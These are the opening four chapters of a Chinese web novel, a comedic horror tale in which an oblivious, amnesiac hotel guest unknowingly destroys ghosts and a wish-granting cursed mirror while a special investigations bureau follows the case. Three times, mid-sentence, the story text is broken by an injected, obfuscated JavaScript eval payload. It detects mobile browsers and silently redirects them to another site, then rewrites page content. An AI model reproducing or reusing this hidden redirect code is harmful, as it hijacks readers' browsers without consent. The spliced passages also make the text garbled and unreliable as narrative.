《救世主保命守则[无限]》 1. 第一章 致命旅馆 寒冬时节,晚上九点。 褚颜站在门口,拿手机仔细比对目的地,确定没有走错旅馆后,没有急着走进去,只从怀中掏出一本被体温捂得微微发热的黄棕色笔记本。 透过路灯晦暗的光,可以窥见封皮上一行竖排的大字:救世主保命守则。 他的手指从纸上划过,勾勒出第一页的信息: “第一条:迟钝! 不可窥探未知。” 褚颜打了个哈欠,不知道为什么霍医生会给他这样一条忠告。但在这样的地界,迟钝点总是好的。 旅馆前台悬着一盏不甚明亮的白炽灯,照出仰面睡在躺椅上的老板娘的半张侧脸。她张着嘴,却没有鼾声传来,连呼吸声也不可闻。 褚颜连喊了三声才将她唤醒。老板娘略显呆滞地爬起来,关节僵硬得像生了锈。 柜台边的透明鱼缸里,制氧机咕噜咕噜冒着泡,推着膨胀发白的金鱼反复螺旋。死鱼的眼睛紧锁着他的侧影,似在窥探这不知名的将死的蠢虫。 “贺兰。”褚颜递过随身带的□□,毫不意外,登记成功了。 老板娘颤颤巍巍递过来一张房卡,上面绘着血红的房号:444。 这不是个吉利的数字,但褚颜的第一反应却是:这破地方还有44间房呢? 诚然,他本就是个钝感力很强的人,往往抓不住事情的重点,正如他没有注意到满缸的死鱼。 踩着老旧的木楼梯上楼,吱嘎吱嘎的响声磨得耳根子发疼。他拍了拍手,没见灯亮。二楼也一片寂寂的黑。 正打算继续往前走,手肘却被人突兀地带了一下。 “啪”,灯亮了。 比前台还不如的壁灯下,一个只及他腰高的小女孩站在拐角那里,手里抱着只脏兮兮的布兔子,对他摇了摇头。 “你让我别上去?”褚颜问。 小女孩点了点头。 可惜了。褚颜看着她,心想。长这么乖巧,偏偏是个哑巴。 他没有听从小女孩的建议,毕竟他对自己兜里的钱很有数。不用大冬天里睡桥洞,已经很好了。 他顺着旋转楼梯继续往上,小女孩的身影则突兀地消失在了黑暗中,就像从来没有出现过一样。 很快就走到了44号房门口。铁门过后,又分隔出四间房,从1到4。 褚颜拿钥匙打开自己那间,插卡取电,一间不甚宽敞、老旧破败的旅店房间,就映入了眼帘。 幸而住处的灯还比较亮,能让他在放下行李后,有机会拍张照片,给“女儿”发了过去。 “我已到达,勿念。”他附文道。 嘀嗒的消息声很快传来,伴着女儿发的微笑表情:好的,爹地,爱你。 褚颜笑笑,似乎能透过屏幕看见她那张讨喜又乖巧的脸。 将自己扔在床上窝了一会儿,潮湿的霉味也没能将他从疲惫中掀起。直到他自觉得休息够了,才从行李袋中拿出换洗衣服,走进浴室。 滋滋。旅店招牌发出接触不良的电流声响。 咔嚓一声,灯牌黑了大半。从“魅力酒店”,硬生生变成了“鬼”、“店”。 正步入浴室的褚颜对此一无所知,他放好换洗衣服,尝试着打开水龙头。 一股赤红的水流喷涌而来,若非他闪得快,恐怕这一身也得遭殃。 借着浴室的顶灯,他勉强看清那红色的来源——也许是很久没有人住,管子里生了一层层的铁锈,看起来就跟血一样渗人。 真是的。都出来开店了,也不知道例行检查一下,难怪这家店没什么人。 褚颜一边吐槽,一边顺手将喷头搁置在洗手池上,等待脏水放完。 淅沥沥的水流声中,锈红的水打着转往出水口涌去,越来越浓,越来越粘稠,如同从断开的脖颈里涌出的血浆。 一只涂着鲜红指甲油的断手突兀地出现在洗水池中,像是从漆黑的管道中直接钻出来的。 它找寻着,指甲在瓷盆中刮出尖锐的滋滋声。 对未知的好奇是人类最大的弱点。一旦他们靠近,它就会一跃而起,贴在那无知者的脸庞上,融化他的双眼,和他合为一体。 褚颜从马桶上慢慢起身,走近了水池。 断手难掩兴奋,五指屈起,做出弹射的姿势。可它的一切动作都到此为止了。 它发现自己再无法动弹,被生生困在了原地,如同遇到了某种命定的克星。 褚颜将目光投向水池,可在他的目光里,池中干干净净,连锈浊的水都恢复了澄澈。 他不怕我?为什么?断手没有嘴,可疑惑依然在它残破的血肉中蔓延。 直到褚颜将目光移开,它才感觉压迫从身上挪走,却再也不敢擅作主张了。 它看着那个男人走进浴室,旁若无人地脱去衣物,将水温调到中档,任由温水淋漓往下。 在它们编排好的剧本里,应该是男人被自己吓得惊声尖叫,又被自己遮挡面目、夺走视力,跌倒在浴室里,被下水道中涌出的其他血肉裹挟,一点点拽进那狭窄逼仄的洞口,被挤碎骨骼、融化血肉,成为它们的一员。 可下水道的其他肢体也静悄悄的,没有任何反应。 这个澡,褚颜洗得像在打仗。 一是冷,二也是觉得水里重金属太多,怕越洗越脏。 几分钟匆匆洗完,他套上衣服就走了出去。 而断手也默默缩回了阴暗的下水道。 廉价旅店的被褥自然称不上有多干净,褚颜回到床上,依然觉得铁锈味挥之不去。 看来得趁早找份工作,搬到更好的地方。 可他能干什么呢?褚颜翻看着求职软件,越看越是迷茫。 技能?学历?来处?他好像一个都没有。 最初的记忆停在几年前,但这几年里发生的事情,他也迷迷糊糊记不清楚,像做了一场冗长的梦。 只记得自己最初出现在海上,记得自己有个女儿,记得是霍医生救了他们。有咸腥的海风从窗口吹进来,而浓郁的抹不开的天之阴影里,是无数只窥探的眼睛。 想到这里,他的大脑开始抽痛起来,像有人用尖锐的锥子扎进了他的脑仁,痛得他恨不得倒地抽搐。 算了,不想了! 他将自己狠狠砸进被褥里,一边顺手关灯,一边嘀咕,爱怎么怎么的吧,反正饿不死,实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533372|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行去当文员,去扫大街,去搬砖,只要能赚到钱,他什么都肯干! 随着黑夜来袭,更深的危险已经在酝酿之中。 四间分隔房公用的走廊里,一台破旧的洗衣机突然自行启动了。 没有浸泡,没有洗涤,它直接开启了甩干模式。 “咚咚”、“咚咚”。 像是一颗沉重的头颅在反复撞机着桶壁,因为上重下轻,洗衣机的轰鸣越发激烈,甚至连机身都开始缓缓往外挪动。 杨娜娜是今天才入住“魅力旅馆”的。 她在最无知的年纪嫁了人,稀里糊涂生了三个孩子。长期的丧偶式育儿耗尽了她的活力,多年与社会脱节也让她丧失了谋生的技能。眼看孩子越长越大,捉襟见肘的家庭条件、婆婆和丈夫的冷嘲热讽,终于迫使她走出小乡村,试图在这大城市里找一份糊口的工作。 她到时夜晚已经来临,城里家家门户紧闭,只有少数几间旅馆还开着门。 魅力旅店离几个交通站点都不远,住宿费却便宜得吓人。尽管杨娜娜知道住宿环境一定好不到哪去,但便宜的价钱还是让她下定了决心。 可睡到半夜,她却陷入一个奇怪的梦里——她甚至感觉不到自己在做梦。 她被洗衣机的轰鸣惊起,本想忍一忍睡过去,可那声音却越来越大,越来越响,仿佛就在自己耳边摇晃。 终于,她难以忍受地起床,走出门去,看向那走廊里闪着红光,不停晃动的洗衣机。 ——她记得自己住进来时,走廊里是没这东西的。 也不知道是谁大半夜洗衣服,也不怕扰民。 她慢慢走过去,想顺手关了。可洗衣机盖子却是打开的,里面黑沉沉一片,像一个望不见底的深渊。 她如被蛊惑般低头往里面看去,先看到的是黏在桶壁上粘稠的胶状物,红色的,像被搅碎的肌肉纤维和血液的混合物——杨娜娜在邻居家的绞肉机里见过这样的碎肉。 然后是大团大团黑乎乎的物质,缠绕在一起,像从下水道里掏出来的沾满污秽的头发——下面还连着层血淋淋的头皮。 杨娜娜还以为自己看错了,当她的目光投向桶底,才发现那一堆模糊碎肉的顶端,还簇拥着一个小孩的脑袋。它仰面朝着她,还咧着嘴在笑呢! “啊啊啊——”杨娜娜喉咙里发出不似人的惊叫声,浑身的血液都像被人抽干了一样,伴随而来的是刺骨的冰凉。 “吵死了,还让不让人睡觉了!” 就在杨娜娜被吓得几近疯狂的时候,一道清亮的男声突兀地从耳边传来,如清泉般浇灌满身,将她躁动的血液也压制了下去。 她睁开眼,发现自己正坐在旅店的床上,眼前没有挂满碎肉的洗衣机,也没有那诡异发笑的脑袋。 可心还在怦咚怦咚跳着,回荡着刚刚的种种不寻常。 无边的黑暗带来无边的凉意,她再不敢对着夜色入睡,战战兢兢地打开顶灯,又将脑袋塞进被子里,这才找回了一点安全感。 褚颜都要气死了。 本来舟车劳顿就累,找不到工作就烦!大半夜还在这里砰砰砰地扰民,真是一点也不为别人着想,没素质! 2. 第二章 茧 洗衣机的红光慢慢熄灭了。 “卡嚓卡嚓。”桶里的脑袋转动着血肉粘黏的脖子,看向444所在的方向。 在那句寻常的抱怨出来的一瞬间,它感觉自己无法动弹了。 它释放的梦境,也在一瞬间弹回,再无法影响这栋楼里的其他住户。 为什么?难道他不是普通的住户?他到底是什么东西? 当它冒出这个念头的同时,只听“嘭”地一声炸响,它的颅骨被一只无形大手生生捏爆,红红白白的血液与脑浆喷溅了整个洗衣桶。 所有生机就此断绝,没有一点挣扎的余地。 它的死因只有一句话:窥探未知。 终于停了。果然,对付这种人,直接开骂比沉默更管用。 褚颜长舒一口气,刚想把脑袋埋进被子里,又被霉味冲得重新钻了出来。 算了算了,将就点吧。他把被子拉高,拢住热气,偏头继续睡去。 明天还得找工作呢!他想。 然而天不遂人愿,他想好好睡,别“人”可不这么想。 这不,刚过一会儿,他的耳边就响起了“砰砰砰”的砸门声。 ——那的确是砸,而不是敲,像拳头一下一下擂在门板上,好像能把整张门生生砸破,连带着床架都共振地抖了起来。 “开门!”门外响起一个男子粗硬的喊声。 褚颜先是被吵醒,又过了好一会,才意识到对方是在敲他的门。 啊不是?这就来找麻烦了吗?大晚上不睡觉可真有精神啊! 眼看思路越走越偏,褚颜连忙把注意力移了回来。 可他不就骂了一句吗?也没带脏字,至于这么大火气? 褚颜摸不清他的来意,只好坐起身子,问了一句:“你要干嘛?” 男人的怒意隔着门板传来,问的却是一句没头脑的话:“你为什么要欺负我的孩子!” 褚颜:啊?我吗? 在他看不见的走廊里,隐隐绰绰的光中,映出一个壮硕男人的身影。 男人一只手猛烈敲门,另一只手则提着——一颗不断滴血的头。 刚才那句诘问,就是这颗头说出来的。 顺着那只手臂往上,可以看到男人穿着廉价的T恤和牛仔裤,那衣服不仅破破烂烂,还挂满了许多喷溅的碎肉条和血浆,仿佛刚从屠宰场出来,或经历了一场凶杀现场。 而他的肩膀往上,却没了头,只能看见一截白花花的颈骨从撕裂的脖子上突出来,和旁边的狰狞的气管血管一起朝天直竖。 不是,你有病吧?褚颜在心里吐槽了一句。他一贯尊老爱幼,是正直的五好青年,欺负小孩这种事情,他怎么可能做得出来? 他把骂人的话咽回肚子里,知道自己这小身板是不能跟人家硬碰硬的,只好说:“我没看见你家小孩,我一直在睡觉,没出去!” “不是你还有谁?开门!”男人继续砸门,砸得墙面的灰尘粉屑都一簇一簇地往下掉。 褚颜当然是不可能开门的。 他看过新闻,知道有些变态会尾随单身女子进楼道,或是伪装水电工□□,这种人一般不怀好意。 正常人哪里会大半夜敲别人门啊?有问题找旅店老板投诉啊? 褚颜清了清喉咙,朗声道:“不知道是你家小孩在洗衣服,吓到她了,我道歉。如果你有问题,请明天再找我解决,谢谢!” 褚颜说完,也不管男人是什么反应,将耳朵一捂,就钻回了被窝。 这么冷的天,跟一个听起来就比他强壮的男人对着干,他才没那么傻呢! 见他没有起来开门,无头男的脸上出现了明显的愤恨。 他的眼睛盯着门板,灼热的视线似乎能透过去,锁定那孱弱的男人。 霎时间,他的身体和头像蜡烛遇到火一样,飞快融化了。 粘稠的液体卷着两颗眼珠子,从门框的缝隙里钻了进去,沿着地板一路攀爬。 肌肉推着骨骼,碎骨咔咔作响。它们漫过地板,像一张血红的地毯,漫过桌椅,漫过衣柜,漫过高墙。 它越摊越开,直到整个屋子全被血色的纤维包裹。那些组织一下一下有节奏地搏动着,仿佛还活着一般。 连着神经的眼睛从天花板上倒吊下来,咕噜咕噜地转动着,望着那不知死活的年轻旅客。 而后,摊了满屋的血色组织一点一点地收缩着,收缩着。 爬上床脚,爬上床单,将那个旅客连人带被子,裹成了一个厚厚的血色的茧。 因为太困,褚颜睡得很快。 可他睡着睡着,却觉得有点热,还有点闷。像躺在桑拿房,或躺在睡袋里。 果然不应该把脑袋埋在被子里睡。他一边像个蚕宝宝一样蛄蛹,一边想。而且这床也太窄了,怎么总翻不开身啊。 茧越来越小,里里外外都开始渗出黄色的粘液,像一个胃袋开始消化。 空间越来越小,氧气越来越少,眼看腐蚀性的粘液就要落在那张堪称漂亮的脸蛋上,褚颜突然往上用力推了一把。 他的本意只是推开这张裹住他的讨人厌的被子,可此时被子已经被腐蚀殆尽,他一伸手,就将这层厚厚的血肉推出了一个破洞。 无头男的表情全都凝固在了脸上——如果那还能被称之为脸的话。 他的血液以这个豁口为中心,再也无法顺畅运行。他的肌肉开始硬化,失去弹性,像一层被风化的脆壳。 又一脚,褚颜踹开了一条裂缝。 无头男像被人扼住了命脉,再也无法感知身体的其他部位。 它零落着碎开来,龟裂成无数块,无声无息地落到地上,连一点声音都没能发出,就湮灭成粉尘。 至死它也没明白,为什么这个单薄的青年有这么大的力气,为什么自己毫无反抗就被杀死了。 为什么…… 而褚颜不过翻了个身,又若无其事地睡沉了。 一觉睡醒,褚颜获得了充足的睡眠,忍不住伸了个大大的懒腰。 可当他睁开眼睛一看,险些尖叫出声。 “我的被子呢?” 只见昨天还好端端盖在身上的被子,现在已经变成了一张坑坑洼洼的破布,黏糊糊的,不知沾了谁的呕吐物。身下的褥子也多了不少坑。 被子边缘翻卷硬化,看起来像火烧,却没有焦痕。 满地都是破败棉絮,像是发生了一场大战。 “昨天有人进来了?我怎么一点印象也没有。”褚颜拍了拍脑袋,心想,难道是昨天拍门那个男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533373|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?可他怎么进来的?撬锁? 褚颜跳到地上,仔细检查了一番门锁,没发现打开的痕迹,便又怀疑起了前台。 难道是旅店里的人干的?想谋财害命? 我都住这么便宜的旅店了,我看起来像有钱的人吗? 他再三检查,也找不出原因,只能暂时压下好奇心。 简单洗漱完,他下楼梯走到前台,老板娘表情木然地站在那里,像一尊雕塑。 他想了想,斟酌着开口:“昨天工作人员进我房间了?” 老板娘僵硬地摇了摇头。 褚颜这下摸不准了,毕竟他也是个失忆患者,无法确定是不是自己梦游干的。他考虑了一下,又说道:“我一觉睡醒,被子被人弄坏了……你先报警,要钱的话,我赔给你们。” “不用报警……”老板娘扯起一个古怪的微笑。“我们会换!” “那好吧。”褚颜道。 在这个灵异事件频发的世界里,警察确实有些束手无策。不过据说为了清理这些异端,国安专门划出了一个特情局,就是负责异常事件的。 褚颜从霍医生那里听过,异端里有能给人带来厄运的雕像,有长手长脚的幽灵,有以恐惧为食的怪物……当然,他只听过,没见过——在他自己看来。 为避免纠纷,褚颜还是在便签纸上写下了霍医生的联系电话,推给老板娘,道:“这是我朋友。如果后续要赔偿,你们可以让他先垫付。” 老板娘表情不变,只说:“欢迎您再次光临!” 这职业素养,这待客礼仪。褚颜看得啧啧称奇,同时腹诽道:再带点感情就好了。 解决完一件大事,肚子也咕噜咕噜叫了起来,提醒他:此时此刻,填饱肚子才是大事。 人才市场。 偌大的广场上,堆满了从四面八方而来的求职者——当然,会场内人更多。 农民工、失业者、大学生,或零零散散,或三五成群。 那些负责招聘的蓝领白领,则时不时从建筑里进进出出,带着宣传单,和求职者的一堆简历。 这年头经济萧条,岗位也供不应求。工厂纷纷倒闭,企业都在降本增效996。 最低工资从三千压到两千多,依然有人络绎不绝。 褚颜蹭了会场的免费面包和自来水,总算把饥肠辘辘的肚子给填饱了。 他摊开一路溜达的收获,那是一张海报,上面写着醒目的一行大字:“xx酒店试睡员。” 这是他见过要求最低的一份工作。 学历、工作经历、年龄等通通不考虑,它只要求一条:“不怕鬼。” 具体来说,就是在这个酒店的房间里试睡一晚,只要能安全出来,就能拿到1000块的奖金,还包当日三餐。 这么丰厚的奖励,求职者当然是络绎不绝了。但也有些人面露难色,显然有点忌惮。 诶,不过就是酒店的另类宣传而已,有什么好怕的。 “我劝你还是不要去的好。”说话的是旁边一个穿灰夹克的男人,脸庞尖瘦,手里也拿着一张同款海报。 “嗯?为什么?”褚颜不解。 尖瘦男人打量了下周围,见没人注意他们这里,才挤眉弄眼地说道:“这个房间,死过人。” 3. 第三章 献上你的头 死过人?这倒不稀奇。褚颜心想。这片土地上,哪里没死过人?像某个古都,地下埋的比地上住的还多哩。 见褚颜不信,尖瘦男人又夸张道:“每一个。每一个住进去的房客,都死了。这个房间被诅咒了。” “你就听我一句劝,别去送死了。”尖瘦男人拍拍他肩膀,道:“这钱你赚不了。” “好吧。”看他说得煞有其事,褚颜也不想跟他当面反驳。点点头算是应下,又往会场里一溜,开始蹭吃蹭喝看招聘了。 尖瘦男人目送着褚颜走远,见没人注意自己,才悄悄摸摸地将手从口袋里拿出,那是一张刚从褚颜口袋里偷来的现钞。 可等他定睛一看,才发现那哪里是钞票,分明是一张折叠好的粉红色传单——里面还夹了张擦过嘴的卫生纸。 “操!这个死穷鬼!”尖瘦男人将传单扔在地上,狠狠踩了几脚。 褚颜在会场里蹭完三餐,等出来时才发现,天已经快黑了。 而他暂时还没找到新的工作,也不可能在大冷天里睡公园。 斟酌再三,他只能再次回到了魅力旅店。 也不知道昨天的事怎么处理的。都怪自己晚上睡太死。褚颜心想。 出乎意料,老板娘根本没提被子的事,甚至连表情都没半点变化,只是说:“房间已经打扫好了,欢迎您重新入住!” 这么客气?褚颜心生疑虑,但还是决定先上楼看看情况。 等他的身影消失在楼梯口,墙上的挂钟也敲响了整点的铃声。 一只报时鸟从里面弹了出来,却说着:“小孩死了!男人死了!女人怕了!还有呢,还有呢!” 咔咔。报时鸟缩回匣子里,前台又恢复了寂静。 回到444,褚颜才发现,整个房间都恢复了整洁,就跟他刚住进来时一样。 被褥也都换好了。 没想到这廉价旅店,服务竟然这么到位。褚颜心想着,但到底有些忐忑,便干脆拿出手机,把昨夜的事编辑成文字,发给了霍医生。 过了几分钟,霍医生回了信息:不用担心。 褚颜问:你说是我梦游?还是异常事件? 霍医生:可能只是不长眼的小偷。 看到他的这一句话,褚颜笑了一下。 虽然他知道,自己又给人家添了麻烦。但这几年来,麻烦霍医生的地方也不在少数。 女儿的医药费,一直都是他垫付的。 想到女儿,褚颜的心重新变得柔软,忍不住问:可以给我拍张盈盈的照片吗?我想看看她。 过了一会儿,霍医生才回复:你可以自己问她。 说的也是。 褚颜调出女儿的聊天界面,噼里啪啦打字:乖乖,爹地好想你。 备注为“褚盈”的女孩发了张照片过来,是一只白嫩的胳膊。附文:在打针。 不一会,女儿又发了句:爹地好好照顾自己。 褚颜:好。乖乖真勇敢。我会的。 褚颜点开那张照片,看到褚盈莲藕般的手臂上掩盖不住的青红针眼,止不住的心疼。 他的女儿褚盈,得了很罕见的病症,需要在医院里进行持续性治疗。虽然霍医生在的基地有对应的特效药,但医药费也是一个填不满的窟窿。 褚颜不可能一直让霍医生出资,便在自己的精神状态好一点后,来到这里打工。 想到明天又是奔波的一天,褚颜伸了伸懒腰,决定早点睡。 他简单洗漱完,在睡前仔细检查了门锁,又用凳子堵了堵,连窗户也再三检查,扣了锁扣。 做完这一切,他才安心到床上躺下。 不知过了多久,在褚颜细微的呼吸声中,靠近床位的墙壁处,突然出现了一面古朴的化妆镜。 在睡梦中的褚颜,忽然听见了一声接一声的呓语,仿佛从深海传来,忽远忽近,模糊又清晰。 “愿望……愿望……” “献祭你自己……我会实现你的愿望……” 听到这样的声音,褚颜就像被引诱一般,从床上坐起身,僵硬地一步一步走到了镜子前。 “愿望……你的愿望……”镜子里发出诱哄的低语,镜面泛起波澜。 褚颜怔怔地看向镜子,落入他眼中的只有一片深邃的黑,无穷无尽,仿佛背后连通了深渊。 愿望吗?褚颜想了想。他没有什么特别的愿望,如果一定要有,那他想…… “我想让女儿恢复健康。” 随着他的话音落地,无数扭曲线条组成的符文从镜中流出,将他圈进其中,仿佛达成了某种契约,或者交易。 “报酬……你的头颅……拧下来,献给我……” 怎么还要报酬啊?不应该白给吗?童话故事里都是这么演的啊! 还拧我头,我拧你个特妈头。 得知要报酬,要得还这么变态,褚颜忍不住反驳道:“医院只想要我的钱,你居然想要我的命。高利贷都没你会算。” 他一说完,连镜子都诡异地沉默了一秒。 依照往常的经验,褚颜现在不应该说:尊敬的契约之镜,我将谨遵您的吩咐! 然后无视掉极致的疼痛,将脑袋生生摘下来献上,以取悦面前的魔镜吗? 他怎么不按套路出牌呢? 察觉到褚颜不打算遵守契约,缠绕的符文突然变得狰狞起来,化作无数黏腻的蠕虫,在黑色的浆液中翻滚,往他的毛孔里钻。 然而褚颜不过打了个哈欠,那些虫子就像烟花一样崩裂、炸开,散成了破碎的星星。 还以为遇到了灯神,原来遇到了电诈。 褚颜顿时兴致缺缺,回道:“你能力到底行不行啊,不行我睡了!” 简直是挑衅!他怎么敢质疑伟大的契约魔镜! 镜中黑雾翻涌,霎时间长出一张长满森森利齿的嘴,粘稠的涎水从牙齿上滴落,镜框两边则突兀地冒出两条细长的手臂,就要将这无知无畏的男人一把拽过来,把他的脑袋生生咬下。 褚颜突然发现,自己的身体变得有些重,像被什么东西扯住了一样,连步伐都慢了两拍。 森然利齿后面如连深渊,浓烈的腐臭气从里面传来,那里堆着无数葬身者被消化完的残躯。 可这看起来单薄瘦弱的男人,却远比想象中难拽。镜子已几乎用上了所有的力气,男人依旧纹丝不动。 于是不辨面目的脑袋主动从镜中挣出,就要咬下他的脑袋! 褚颜却被这味道熏得作呕,忍不住一拳打过去,喃喃自语:“什么玩意?” “咔嚓。”一道不大不小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533374|155197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绽裂声响,在这寂静的夜里却尤为清晰。 镜子愕然地看向自己的身体,在男人一拳打到的地方,蛛网般的纹路正在向四周蔓延,越来越快。 这……不可能…… 他只是个普通人,怎么可能伤到我…… 他还违背了契约规则,却毫发无损…… 难道…… 随着镜子念头的发散,它终于散成了无数碎片,哐哐掉了一地。 而褚颜一点感觉也没有,连砸碎镜子的那只手都不见半点划痕。 他歪在床尾,往被子里一滚,睡了个四仰八叉。 在他熟睡之际,一缕缕黑雾从镜子的碎片中释出,凝成一团指甲盖大小的胶质物,融入了他的身体。 与夜晚的闷声干大事不同,第二天一早,当看见“案发现场”时,褚颜险些连下巴都吓掉下来。 他看看紧锁的门,看向门边稳如泰山的凳子,还有窗户上紧扣的锁扣。 在反反复复怀疑人生过后,褚颜不得不承认,这镜子,是他自己弄坏的。 我还以为我在开玩笑,原来我真的会梦游啊?他简直欲哭无泪。 事已至此,褚颜也不好再逃避。 他老老实实收拾好行李,再三清点没有遗落物品,这才拿起房卡,走出门去。 虽然穷得叮当响,但他也不是推卸责任的人。做错了事,就认。 镜子加被子,500块钱应该也够了,不是那么难还。 在他离开以后,原本干净整洁的房间一阵变幻,布满了灰尘与蛛网,墙上尽是破损的墙皮,床单被褥也显出风化的痕迹。 而暗黑污浊的痕迹,则从浴室、卧室一路蔓延,将走廊也囊括了进去。 那或许是早已氧化干涸的血,直到今日才显出真正的踪迹。 褚颜走到前台,惊讶地发现老板娘竟然不在。 难道睡觉去了?也是,这么一个旅店,连续两天都是她来守,肯定也累了。 就是不知道老板在哪,好像也没见他出现过。 褚颜不知道怎么退房,主人不在,他也不可能擅自去动别人的电脑。思量再三,他只得在便签纸上写下自己的电话,和简要的道歉。 “不好意思,弄坏了你们旅店的被子和镜子。贵店损失可以从剩余房费中扣除,如果不够,请联系这个电话:137xxxxxxx,444号房贺兰。” 确保万无一失后,褚颜才拎起行李离开。 在他的背后,旅店飞快变得破旧、灰暗,仿佛多年未住过人一般。 一片纸人从柜台后的缝隙里飘出,正是老板娘的模样。 她机械般重复道:“知道了,知道了。” 要不怎么说天无绝人之路呢,褚颜才刚走到公交站,就接到了来自招聘方的电话。 一番交谈,他才知道对方正是那位“xx酒店试睡员”岗位的hr。 “什么时候方便?今天,今天就可以!餐后面试?好的,马上来!”褚颜满意地挂断电话,心想,今天的三餐,又有着落了。 …… 一通电话打了进来,被接线员接起。 “您好,这里是特殊情况调查局。魅力旅店是吗?好的女士,这边记下您提供的地址,请不用害怕,我们马上派人过去处理。” 4. 第四章 奇怪的挂画 “魅力旅店,3年前444号房曾发生恶劣凶杀事件。一名男子残忍分尸了其妻子,并将其肢体搅碎后扔进下水道。其女儿也被他塞进洗衣机中绞死。该男子被发现时,已经呈现头颈完全离断状态……据观察,他的头是被他自己生生扯下来的……” 特情局方洄翻阅着手上的资料,补充道:“看起来异端危险程度应该不算太高,不然报案人杨娜娜也不容易全身而退。不过这魅力旅店里的异端很狡猾,在案发之后就藏匿了起来,数次出现都在不同地点,让人很难发现它的踪影。” 在他搁脚的茶几对面,坐着个穿黑色风衣的长发男子,戴一双黑色丝质手套,长着一双绿色的瞳孔,气质忧郁,容貌俊美,看起来像是走在路上都会被人吹口哨的类型。 在方洄概括资料内容的同时,绿瞳男子已经折好了一朵纸玫瑰。 “裴队,你有在听吗?”方洄忍不住提醒了一句。他不喊这一声,恐怕旁人得以为他才是领导——毕竟这喊话的口气,也太不正经了点。 “在听。”裴恒将玫瑰花瓣展开,说出自己的推测:“有活化特性,有一定智商,至少是D级异端。走吧。” “诶?你要跟我一起去吗?”方洄惊讶道:“这种程度轮不到你出马吧。” 裴恒指指不远处的会议室,简明扼要道:“他们开会,我没事做。” “好吧。”方洄道。 用空间戒指,两人很快就抵达了魅力旅店所在地。 恢复原状的魅力旅店内,早已空无一人。 干涸的鱼缸里积了一层黏腻的灰,纸人飘出来的瞬间,就被方洄一枪锁定。 “留着,问情况。”裴恒一句话,留住了老板娘的性命。 方洄将纸片人放进腰间带的收容匣里,和裴恒一起往楼上走去。 难闻的腐臭味从四楼传来,两人一路往上,很快就循着味找到了444号房。 此地早已人去楼空,只剩洗衣机和下水道里的残肢等待清理。 “奇怪。案发现场的图片显示,这里应该卧着男主人的尸体,怎么没看见?难道在其他房间?”方洄对比着案发现场的旧图,喃喃道。 裴恒已经迅速浏览完房间各处,又捻起卧室散落的镜子碎片,道:“这里。” “嗯?你是说,镜子里?”方洄拿出判定器,对着镜框扫了一下。 上面显示道:【异端名称:契约魔镜】 【异端描述:可实现人类愿望的神奇魔镜,但愿望多以扭曲形式达成,具有蛊惑人心的力量。许愿者须献祭以取悦魔镜,其肉身会变成魔镜的养料,灵魂会被魔镜奴役。】 【异端规则:1.许愿者须提供头颅作为祭品 2.许愿结束后,两者间会形成契约,违契者将以各种惨烈形式死亡 3.被奴役的许愿者无法违抗魔镜任何要求 4.不可久视 5.会逐渐影响持有者心灵,令其逐渐失控】 【评定等级:D→E→G→正常】 等级那栏的数字一顿乱跳,最后居然定格为绿色的“正常”。这可是极为罕见的情况。 就连裴恒的眉都微不可见地拧了一下。 “算了,等带回局里再二次判定吧。”方洄说着,就戴上手套,将镜框放进收容匣。 捡起地上碎片的时候,他拿出“还原棍”敲了一下,本想看看受害者是不是真在里面,结果就看见魔镜“yue~”“yue~”“yue~”,吐出了几具腐烂到□□成的人类躯体。 一时间,卧室里充满了呕吐物和腐尸混杂的臭味,让方洄几乎当场就吐了出来。 再看裴恒,早已先他一步跳到窗户边,大开窗户开始通风了。 “呕……”方洄一看他那副不想插手的模样,忍不住伸手无声呼喊:“裴队,你快回来,我一个人怎么承受得来!” 两人小队很快完成收容任务,剩下的就等其他队员来完成了。 方洄被刚刚的画面和气味冲击过度,下楼后还伏在电线杆子上干呕。 裴恒不自觉拉开了距离,在无人的角落里拿出一张从前台顺走的便签,上面正是褚颜留下的信息。 弄坏了……镜子…… 与活化异端共处一室,还能摧毁它的活性,这个人,有点意思。 裴恒眼眸微沉,将便签纸塞回口袋里,大步走上了归程。 …… 哇! 褚颜仰头看着这金碧辉煌的酒店,在心里发出了由衷的赞叹声。 这硕大的LED屏,这光可鉴人的玻璃外墙,这气派宏伟的大门,这制服加身的门童,要不是顶上招牌写着“海鲸酒店”几个字,褚颜都要以为自己误闯了什么宫殿。 他带着艳羡走过了旋转门。幸好侍者很快迎上前来,领他去了应聘者所在的大厅。 在他之前,已经零零散散来了二十多号人。酒店提供了免费餐点,即使应聘不上,也可以随吃随拿。 他也没个说话的人,吃着吃着,就感觉到一束目光直直地打过来。那是立在偏门处的一个高个保镖,戴一副无框眼镜,目光相撞时也只是微微颔首,又很快挪开。 